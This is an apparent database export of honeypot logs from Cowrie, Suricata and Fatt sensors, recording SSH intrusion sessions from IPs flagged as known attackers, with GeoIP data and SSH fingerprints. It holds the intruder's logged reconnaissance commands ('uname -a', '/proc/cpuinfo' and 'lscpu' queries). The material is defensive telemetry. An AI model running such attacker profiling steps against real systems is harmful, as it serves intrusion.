36072	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:15.724047+03	2021-09-20 15:15:04.095691+03	{"_id": "pQYeA3wBvYTbRNuEGV-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "43.240.6.90", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6190536022186279, "duplicate": true, "timestamp": "2021-09-20T12:11:15.724047Z", "@timestamp": "2021-09-20T12:11:15.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36073	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:16.144906+03	2021-09-20 15:15:04.097692+03	{"_id": "pgYeA3wBvYTbRNuEGV-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:16.144906Z", "@timestamp": "2021-09-20T12:11:16.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36074	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:16.145459+03	2021-09-20 15:15:04.098691+03	{"_id": "pwYeA3wBvYTbRNuEGV-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:16.145459Z", "@timestamp": "2021-09-20T12:11:16.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36075	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:16.763621+03	2021-09-20 15:15:04.09969+03	{"_id": "qQYeA3wBvYTbRNuEHV9y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "43.240.6.90", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6187970638275146, "duplicate": true, "timestamp": "2021-09-20T12:11:16.763621Z", "@timestamp": "2021-09-20T12:11:16.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36076	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:17.83044+03	2021-09-20 15:15:04.100689+03	{"_id": "rgYeA3wBvYTbRNuEIV9b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "43.240.6.90", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6186769008636475, "duplicate": true, "timestamp": "2021-09-20T12:11:17.830440Z", "@timestamp": "2021-09-20T12:11:17.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36077	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:19.328821+03	2021-09-20 15:15:04.10169+03	{"_id": "sQYeA3wBvYTbRNuEJV9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:19.328821Z", "@timestamp": "2021-09-20T12:11:19.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36078	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:20.399522+03	2021-09-20 15:15:04.102689+03	{"_id": "tAYeA3wBvYTbRNuEKV8t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:20.399522Z", "@timestamp": "2021-09-20T12:11:20.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36079	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:20.400048+03	2021-09-20 15:15:04.10469+03	{"_id": "tQYeA3wBvYTbRNuEKV8t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:20.400048Z", "@timestamp": "2021-09-20T12:11:20.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36080	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:18.282968+03	2021-09-20 15:15:04.105722+03	{"_id": "rwYeA3wBvYTbRNuEIV9b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:18.282968Z", "@timestamp": "2021-09-20T12:11:18.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36081	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:18.901132+03	2021-09-20 15:15:04.106724+03	{"_id": "sAYeA3wBvYTbRNuEJV9D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "43.240.6.90", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6187810897827148, "duplicate": true, "timestamp": "2021-09-20T12:11:18.901132Z", "@timestamp": "2021-09-20T12:11:18.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36082	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:19.329359+03	2021-09-20 15:15:04.107701+03	{"_id": "sgYeA3wBvYTbRNuEJV9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:19.329359Z", "@timestamp": "2021-09-20T12:11:19.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36083	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:19.948196+03	2021-09-20 15:15:04.10972+03	{"_id": "swYeA3wBvYTbRNuEKV8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "43.240.6.90", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6194546222686768, "duplicate": true, "timestamp": "2021-09-20T12:11:19.948196Z", "@timestamp": "2021-09-20T12:11:19.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36084	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:17.211848+03	2021-09-20 15:15:04.110691+03	{"_id": "qgYeA3wBvYTbRNuEHV9y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:17.211848Z", "@timestamp": "2021-09-20T12:11:17.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36085	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:17.212421+03	2021-09-20 15:15:04.111691+03	{"_id": "qwYeA3wBvYTbRNuEHV9y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:17.212421Z", "@timestamp": "2021-09-20T12:11:17.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36086	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:18.282434+03	2021-09-20 15:15:04.11269+03	{"_id": "rQYeA3wBvYTbRNuEIV9b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:18.282434Z", "@timestamp": "2021-09-20T12:11:18.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36087	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:44.655285+03	2021-09-20 15:15:04.113689+03	{"_id": "KgYeA3wBvYTbRNuEhmD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2322 (192.168.176.2:22) [session: f410f1ec48f1]", "session": "f410f1ec48f1", "@version": "1", "protocol": "ssh", "src_port": 2322, "dest_port": 22, "timestamp": "2021-09-20T12:11:44.655285Z", "@timestamp": "2021-09-20T12:11:44.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36088	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:44.65822+03	2021-09-20 15:15:04.114689+03	{"_id": "KwYeA3wBvYTbRNuEhmD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "f410f1ec48f1", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:11:44.658220Z", "@timestamp": "2021-09-20T12:11:44.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36089	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:11:44.93676+03	2021-09-20 15:15:04.11669+03	{"_id": "LQYeA3wBvYTbRNuEiGAT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1159535850994962, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2322, "dest_port": 22, "timestamp": "2021-09-20T12:11:44.936760Z", "@timestamp": "2021-09-20T12:11:44.936Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36090	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:44.659178+03	2021-09-20 15:15:04.117689+03	{"_id": "MQYeA3wBvYTbRNuEiWBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2322, "timestamp": "2021-09-20T12:11:44.659178", "@timestamp": "2021-09-20T12:11:44.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36091	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:11:44.936889+03	2021-09-20 15:15:04.119689+03	{"_id": "NAYeA3wBvYTbRNuEiWBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2322, "dest_port": 22, "timestamp": "2021-09-20T12:11:44.936889", "@timestamp": "2021-09-20T12:11:44.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
